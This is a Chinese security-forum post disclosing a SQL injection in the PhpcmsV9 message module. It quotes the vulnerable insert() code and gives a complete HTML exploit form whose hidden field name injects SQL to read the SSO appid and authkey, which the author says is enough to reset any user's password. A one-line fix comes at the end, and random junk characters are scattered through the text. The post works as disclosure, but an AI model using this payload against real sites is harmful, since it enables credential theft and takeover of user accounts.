找回密码
 立即注册
查看: 2412|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
/ _/ w: H4 g' i
6 M# L5 K. e- d/ J" I$ n- |; V% s5 V第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。  K: d9 Q; ?" w" {- U6 G0 p

6 w' x( k6 @8 O$ ?) l. g% C明天再更新下一个漏洞。. t, c' ?' |2 \% c: H% c" y+ |+ W% U
详细说明:
" |/ H- M2 z" Q- S在/phpcms9/phpcms/modules/message/index.php中有代码如下:
! r% q1 c3 s" U! X; g
- j1 u. a7 O) ?2 i$messageid = $this->message_db->insert($_POST['info'],true);
. M, ]0 P! Q" h( p/ C7 a( b8 ]4 j  Q/ N% P' c

$ E4 h! S6 E/ D) v( v$ }  o/ winsert方法是key value的,代码如下:
( Y1 v2 ^5 W! a% _, s, J; I8 G% a- w# u; K% D, n4 d- L
public function insert($data, $table, $return_insert_id = false, $replace = false) {$ w; b, o- R/ M1 Y
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
2 Z6 _1 c$ }2 d                        return false;; ]& M& ]2 C9 |6 L8 \+ `2 V
                }
/ H( Y/ g5 h& C               
  a% Q( O+ G  [& B# h1 x! c' m                $fielddata = array_keys($data);+ J! a7 h, j0 u: H. P' m4 v
                $valuedata = array_values($data);1 z' k+ {/ G" G  N0 L
                array_walk($fielddata, array($this, 'add_special_char'));+ \# e% j# @# h6 D7 a
                array_walk($valuedata, array($this, 'escape_string'));
& k) K: ^$ Y  e& K% w               
* i8 K! p6 X0 K; U% n9 n                $field = implode (',', $fielddata);
. N% Z  i7 e4 p/ y8 y- i: ]$ b                $value = implode (',', $valuedata);. \/ M2 Z- {  x' l

! A5 h) S( ?& v  l. Y5 {                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
: e9 Y- K% N" {' W" w                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
+ O- o& U- H6 H- C% ?2 Y1 f                $return = $this->execute($sql);
6 Q3 A8 _( m9 S& {/ H                return $return_insert_id ? $this->insert_id() : $return;
. t4 ~7 W. K" i9 S' H7 x        }/ J9 m; j% A& X7 {
: b' v# T/ W; H$ t# V

% v5 z) p! l( S) V  a1 K" I/ C嗯,很遗憾的是" T, a  k) A. ~% T% G

3 A% J' O9 o6 U5 P' S/ l0 j1 Xarray_walk($fielddata, array($this, 'add_special_char'));
$ M6 \" _, E: w7 S+ t# u
! M+ z. }9 o/ o+ [& J
/ r0 W; k! a. r3 U! e% F: s0 ]中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
' Z. ?& R3 ^& c/ f7 l1 r1 A: n8 b1 ^4 a' E8 W& S
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
6 E. X- P* l2 W  s
, D* C2 H7 N( _, V8 P漏洞证明:
9 ^* P/ C9 N$ G) v读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。7 i3 r) z* Q) H! M0 |7 `
# J9 D4 m2 y! Q6 w3 }( Z
( w2 J- E( J; Q* G9 K' U' p* C
表单如下:用户名什么的得自己改一改。, M( Z( i* l& R# X8 y
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
' `+ i6 H7 M" E: N$ {<table width="100%" cellspacing="0" class="table_form">
$ q$ b% A& m' [" m6 `6 `<tr>
5 r+ `6 W7 t$ n6 d+ |<th>标 题:</th>
: q* ]9 K2 j7 `% j<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
% S+ I2 J  Q) a' E. p& f: R; }</tr> , C; |4 K/ B) E" B
<tr>
) Z" W- }9 P3 H3 M( a) m<th>内 容:</th>1 J5 B$ G2 D8 n; a* D
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
& x7 Q! X7 t( H' P5 Z) {0 E& w4 r</tr>( v$ a8 x* g9 w5 O& O
<input type="hidden" name="info[replyid]" value="2" /> ! |; E2 O6 X# A  |- \
<input type="hidden" name="info[send_to_id]" value="cc" /> " y3 h! A! D% L+ x- o( ?
<input type="hidden" name="info[send_from_id]" value="hh">
7 s2 @1 S; _+ ~+ h, Q7 @/ N<!-- 漏洞的利用重点在这里开始 -->% L: v! }8 y5 m) h- Q% U
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
$ j! c9 C% a0 t) k- }5 T+ f8 B<!-- 漏洞的利用重点在这里结束 -->
/ U  }4 E5 y$ I) Q& U/ \% N8 S<tr>' z% U4 V) z' w' h
<th>验证码:</th>3 B' U# J# _7 N. U+ {9 [
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
3 u) a9 F5 ]0 x5 f4 [9 a0 g. a</tr>) t" z$ e. y6 _8 S9 {- M
<tr>/ H+ B8 M% M: e/ j# N+ \# a
<td></td>' o2 b9 V1 h  ]; M6 X& m6 C
<td colspan="2"><label>) A$ S: A; H8 ]' }2 z( L+ e
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>5 Q, F% t; T/ v  K8 k
</label></td>
- K# A& U$ r, ^7 i2 y7 k</tr># i! e4 `' R( D0 P
</table>" D4 K7 b7 |( l
</form>  }: t6 a% `; ~6 N; J. t
在add_special_char函数内对key做过滤就可以了。
- ?$ @& o- ~  ]
4 ?: V# P, \/ ~! F* F5 G8 U  ]. v1 [' ~# F

6 |5 X$ b% C7 z+ Y! v

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表